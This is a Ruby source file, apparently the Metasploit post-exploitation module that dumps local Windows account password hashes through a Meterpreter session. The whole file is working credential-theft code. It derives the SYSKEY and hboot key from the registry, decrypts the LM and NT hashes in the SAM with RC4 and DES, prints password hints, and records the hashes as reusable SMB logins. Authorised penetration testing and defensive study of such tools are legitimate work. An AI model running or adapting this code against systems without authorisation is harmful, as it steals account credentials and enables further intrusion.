283 lines
8.5 KiB
Ruby
283 lines
8.5 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/auxiliary/report'
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class Metasploit3 < Msf::Post
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include Msf::Auxiliary::Report
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Registry
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Gather Local User Account Password Hashes (Registry)',
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'Description' => %q{ This module will dump the local user accounts from the SAM database using the registry },
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'License' => MSF_LICENSE,
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'Author' => [ 'hdm' ],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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# Constants for SAM decryption
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@sam_lmpass = "LMPASSWORD\x00"
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@sam_ntpass = "NTPASSWORD\x00"
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@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
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@sam_numeric = "0123456789012345678901234567890123456789\x00"
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@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
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@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
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end
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def run
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tries = 0
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begin
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print_status("Obtaining the boot key...")
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bootkey = capture_boot_key
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print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
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hbootkey = capture_hboot_key(bootkey)
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print_status("Obtaining the user list and keys...")
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users = capture_user_keys
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print_status("Decrypting user keys...")
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users = decrypt_user_keys(hbootkey, users)
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print_status("Dumping password hints...")
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print_line()
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hint_count = 0
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users.keys.sort{|a,b| a<=>b}.each do |rid|
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#If we have a hint then print it
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if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0
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print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\""
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hint_count += 1
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end
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end
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print_line "No users with password hints on this system" if hint_count == 0
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print_line()
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print_status("Dumping password hashes...")
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print_line()
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print_line()
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# Assemble the information about the SMB service for this host
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service_data = {
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address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
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port: 445,
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service_name: 'smb',
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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# Assemble data about the credential objects we will be creating
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credential_data = {
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origin_type: :session,
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session_id: session_db_id,
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post_reference_name: self.refname,
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private_type: :ntlm_hash
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}
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# Merge the service data into the credential data
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credential_data.merge!(service_data)
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users.keys.sort{|a,b| a<=>b}.each do |rid|
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hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::"
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# Add the details for this specific credential
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credential_data[:private_data] = users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0]
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credential_data[:username] = users[rid][:Name].downcase
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# Create the Metasploit::Credential::Core object
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credential_core = create_credential(credential_data)
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# Assemble the options hash for creating the Metasploit::Credential::Login object
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login_data ={
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core: credential_core,
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status: Metasploit::Model::Login::Status::UNTRIED
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}
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# Merge in the service data and create our Login
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login_data.merge!(service_data)
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login = create_credential_login(login_data)
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print_line hashstring
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end
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print_line()
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print_line()
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rescue ::Interrupt
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raise $!
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rescue ::Rex::Post::Meterpreter::RequestError => e
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# Sometimes we get this invalid handle race condition.
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# So let's retry a couple of times before giving up.
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# See bug #6815
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if tries < 5 and e.to_s =~ /The handle is invalid/
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print_status("Handle is invalid, retrying...")
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tries += 1
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retry
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else
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print_error("Meterpreter Exception: #{e.class} #{e}")
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print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
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end
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#rescue ::Exception => e
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# print_error("Error: #{e.class} #{e} #{e.backtrace}")
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end
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end
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def capture_hboot_key(bootkey)
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ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
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return if not ok
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vf = ok.query_value("F")
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return if not vf
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vf = vf.data
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ok.close
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hash = Digest::MD5.new
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hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
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rc4 = OpenSSL::Cipher::Cipher.new("rc4")
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rc4.key = hash.digest
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hbootkey = rc4.update(vf[0x80, 32])
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hbootkey << rc4.final
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return hbootkey
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end
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def capture_user_keys
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users = {}
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ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
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return if not ok
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ok.enum_key.each do |usr|
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uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
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next if usr == 'Names'
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users[usr.to_i(16)] ||={}
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users[usr.to_i(16)][:F] = uk.query_value("F").data
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users[usr.to_i(16)][:V] = uk.query_value("V").data
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#Attempt to get Hints (from Win7/Win8 Location)
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begin
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users[usr.to_i(16)][:UserPasswordHint] = uk.query_value("UserPasswordHint").data
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rescue ::Rex::Post::Meterpreter::RequestError
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users[usr.to_i(16)][:UserPasswordHint] = nil
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end
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uk.close
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end
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ok.close
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ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
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ok.enum_key.each do |usr|
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uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
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r = uk.query_value("")
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rid = r.type
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users[rid] ||= {}
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users[rid][:Name] = usr
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#Attempt to get Hints (from WinXP Location) only if it's not set yet
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if users[rid][:UserPasswordHint].nil?
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begin
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uk_hint = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ)
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users[rid][:UserPasswordHint] = uk_hint.query_value("").data
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rescue ::Rex::Post::Meterpreter::RequestError
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users[rid][:UserPasswordHint] = nil
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end
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end
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uk.close
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end
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ok.close
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users
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end
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def decrypt_user_keys(hbootkey, users)
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users.each_key do |rid|
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user = users[rid]
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hashlm_enc = ""
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hashnt_enc = ""
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hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
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#Check if hashes exist (if 20, then we've got a hash)
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lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false
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nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false
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#If we have a hashes, then parse them (Note: NT is dependant on LM)
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hashlm_enc = user[:V][hoff + 4, 16] if lm_exists
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hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists
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user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
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user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
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end
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users
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end
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def decode_windows_hint(e_string)
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d_string = ""
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e_string.scan(/..../).each do |chunk|
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bytes = chunk.scan(/../)
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d_string += (bytes[1] + bytes[0]).to_s.hex.chr
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end
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d_string
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end
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def rid_to_key(rid)
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s1 = [rid].pack("V")
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s1 << s1[0,3]
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s2b = [rid].pack("V").unpack("C4")
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s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
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s2 << s2[0,3]
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[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
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end
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def decrypt_user_hash(rid, hbootkey, enchash, pass)
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if(enchash.empty?)
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case pass
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when @sam_lmpass
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return @sam_empty_lm
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when @sam_ntpass
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return @sam_empty_nt
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end
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return ""
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end
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des_k1, des_k2 = rid_to_key(rid)
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d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
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d1.padding = 0
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d1.key = des_k1
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d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
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d2.padding = 0
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d2.key = des_k2
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md5 = Digest::MD5.new
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md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
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rc4 = OpenSSL::Cipher::Cipher.new('rc4')
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rc4.key = md5.digest
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okey = rc4.update(enchash)
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d1o = d1.decrypt.update(okey[0,8])
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d1o << d1.final
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d2o = d2.decrypt.update(okey[8,8])
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d1o << d2.final
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d1o + d2o
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end
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end
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